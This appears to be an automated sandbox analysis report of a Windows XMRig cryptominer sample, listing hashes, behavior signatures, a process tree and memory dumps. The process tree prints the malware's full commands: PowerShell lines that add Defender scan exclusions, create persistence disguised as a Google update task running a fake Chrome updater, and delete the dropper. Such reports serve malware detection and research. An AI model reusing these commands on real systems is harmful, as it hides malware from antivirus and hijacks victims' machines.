Resubmissions

10/07/2023, 09:55

230710-lxskxsaf4t 10

31/05/2023, 16:56

230531-vfmssagf4z 10

31/05/2023, 16:50

230531-vcdeyagb66 10

31/05/2023, 16:49

230531-vbs41age81 10

31/05/2023, 16:49

230531-vbraeage8z 10

05/05/2023, 05:31

230505-f72npage67 10

05/05/2023, 05:31

230505-f7zjbsad9z 10

05/05/2023, 05:31

230505-f7wgnsge66 10

05/05/2023, 05:30

230505-f7keeage64 10

04/05/2023, 10:10

230504-l7mgnabe89 10

Analysis

  • max time kernel
    572s
  • max time network
    1801s
  • platform
    windows7_x64
  • resource
    win7-20230703-en
  • resource tags

    arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
  • submitted
    10/07/2023, 09:55

General

  • Target

    qM5GMXBk6hJE6Y5e.exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 32 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1248
      • C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe
        "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1336
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2168
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2084
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2904
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1560
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2020
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
          2⤵
          • Deletes itself
          • Suspicious use of WriteProcessMemory
          PID:308
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:2132
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:592
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2588
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:2716
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:1216
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:2452
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2744
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:2264
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2508
          • C:\Windows\system32\taskmgr.exe
            "C:\Windows\system32\taskmgr.exe" /4
            2⤵
              PID:344
          • C:\Windows\system32\taskeng.exe
            taskeng.exe {261A0EF3-B750-41C3-A033-9F2E57406B53} S-1-5-18:NT AUTHORITY\System:Service:
            1⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2216
            • C:\Program Files\Google\Chrome\updater.exe
              "C:\Program Files\Google\Chrome\updater.exe"
              2⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Drops file in Program Files directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:936

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Libs\g.log

            Filesize

            198B

            MD5

            37dd19b2be4fa7635ad6a2f3238c4af1

            SHA1

            e5b2c034636b434faee84e82e3bce3a3d3561943

            SHA256

            8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

            SHA512

            86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\00F5Z0KHHHJ2XEFIZC05.temp

            Filesize

            7KB

            MD5

            b8c5136ad69194bba317d89ba0856d5d

            SHA1

            392815793bf1435cf5744f1d2441f4e312117986

            SHA256

            ffdc1fbcdc88942cfd239944d973ccec8283bf9a387ae35f5bfb5d9003232f94

            SHA512

            0b10d46afe6d2db82bddfd430298e43323d27e7e88ab07158e7c1903a54d861fc572ae2c839cee63ef33e427930a970835457fd6d4a302e0494cd350ed1bdb08

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

            Filesize

            7KB

            MD5

            b8c5136ad69194bba317d89ba0856d5d

            SHA1

            392815793bf1435cf5744f1d2441f4e312117986

            SHA256

            ffdc1fbcdc88942cfd239944d973ccec8283bf9a387ae35f5bfb5d9003232f94

            SHA512

            0b10d46afe6d2db82bddfd430298e43323d27e7e88ab07158e7c1903a54d861fc572ae2c839cee63ef33e427930a970835457fd6d4a302e0494cd350ed1bdb08

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

            Filesize

            7KB

            MD5

            b8c5136ad69194bba317d89ba0856d5d

            SHA1

            392815793bf1435cf5744f1d2441f4e312117986

            SHA256

            ffdc1fbcdc88942cfd239944d973ccec8283bf9a387ae35f5bfb5d9003232f94

            SHA512

            0b10d46afe6d2db82bddfd430298e43323d27e7e88ab07158e7c1903a54d861fc572ae2c839cee63ef33e427930a970835457fd6d4a302e0494cd350ed1bdb08

          • \Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • memory/344-254-0x0000000140000000-0x00000001405E8000-memory.dmp

            Filesize

            5.9MB

          • memory/344-253-0x0000000140000000-0x00000001405E8000-memory.dmp

            Filesize

            5.9MB

          • memory/344-259-0x0000000140000000-0x00000001405E8000-memory.dmp

            Filesize

            5.9MB

          • memory/344-260-0x0000000140000000-0x00000001405E8000-memory.dmp

            Filesize

            5.9MB

          • memory/592-86-0x0000000001084000-0x0000000001087000-memory.dmp

            Filesize

            12KB

          • memory/592-87-0x000000000108B000-0x00000000010C2000-memory.dmp

            Filesize

            220KB

          • memory/936-95-0x000000013F230000-0x000000013F441000-memory.dmp

            Filesize

            2.1MB

          • memory/936-85-0x000000013F230000-0x000000013F441000-memory.dmp

            Filesize

            2.1MB

          • memory/936-97-0x000000013F230000-0x000000013F441000-memory.dmp

            Filesize

            2.1MB

          • memory/1216-102-0x0000000140000000-0x0000000140016000-memory.dmp

            Filesize

            88KB

          • memory/1216-109-0x0000000140000000-0x0000000140016000-memory.dmp

            Filesize

            88KB

          • memory/1336-74-0x000000013F480000-0x000000013F691000-memory.dmp

            Filesize

            2.1MB

          • memory/1336-54-0x000000013F480000-0x000000013F691000-memory.dmp

            Filesize

            2.1MB

          • memory/1560-80-0x0000000002614000-0x0000000002617000-memory.dmp

            Filesize

            12KB

          • memory/1560-81-0x000000000261B000-0x0000000002652000-memory.dmp

            Filesize

            220KB

          • memory/2084-72-0x00000000026E0000-0x0000000002760000-memory.dmp

            Filesize

            512KB

          • memory/2084-71-0x00000000026E0000-0x0000000002760000-memory.dmp

            Filesize

            512KB

          • memory/2084-70-0x00000000026E0000-0x0000000002760000-memory.dmp

            Filesize

            512KB

          • memory/2084-69-0x0000000001F00000-0x0000000001F08000-memory.dmp

            Filesize

            32KB

          • memory/2084-68-0x000000001B210000-0x000000001B4F2000-memory.dmp

            Filesize

            2.9MB

          • memory/2168-62-0x000000000231B000-0x0000000002352000-memory.dmp

            Filesize

            220KB

          • memory/2168-61-0x0000000002314000-0x0000000002317000-memory.dmp

            Filesize

            12KB

          • memory/2168-60-0x00000000021F0000-0x00000000021F8000-memory.dmp

            Filesize

            32KB

          • memory/2168-59-0x000000001B100000-0x000000001B3E2000-memory.dmp

            Filesize

            2.9MB

          • memory/2508-107-0x0000000000810000-0x0000000000830000-memory.dmp

            Filesize

            128KB

          • memory/2508-134-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-105-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-100-0x0000000000770000-0x0000000000790000-memory.dmp

            Filesize

            128KB

          • memory/2508-106-0x0000000000770000-0x0000000000790000-memory.dmp

            Filesize

            128KB

          • memory/2508-108-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-101-0x0000000000810000-0x0000000000830000-memory.dmp

            Filesize

            128KB

          • memory/2508-110-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-112-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-114-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-116-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-118-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-120-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-122-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-124-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-126-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-128-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-130-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-132-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-103-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-136-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-138-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-145-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-147-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-149-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-151-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-153-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-155-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-157-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-159-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-161-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-163-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-165-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-167-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-99-0x0000000140000000-0x00000001407F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2508-98-0x00000000001C0000-0x00000000001E0000-memory.dmp

            Filesize

            128KB

          • memory/2588-89-0x0000000000F6B000-0x0000000000FA2000-memory.dmp

            Filesize

            220KB

          • memory/2588-88-0x0000000000F64000-0x0000000000F67000-memory.dmp

            Filesize

            12KB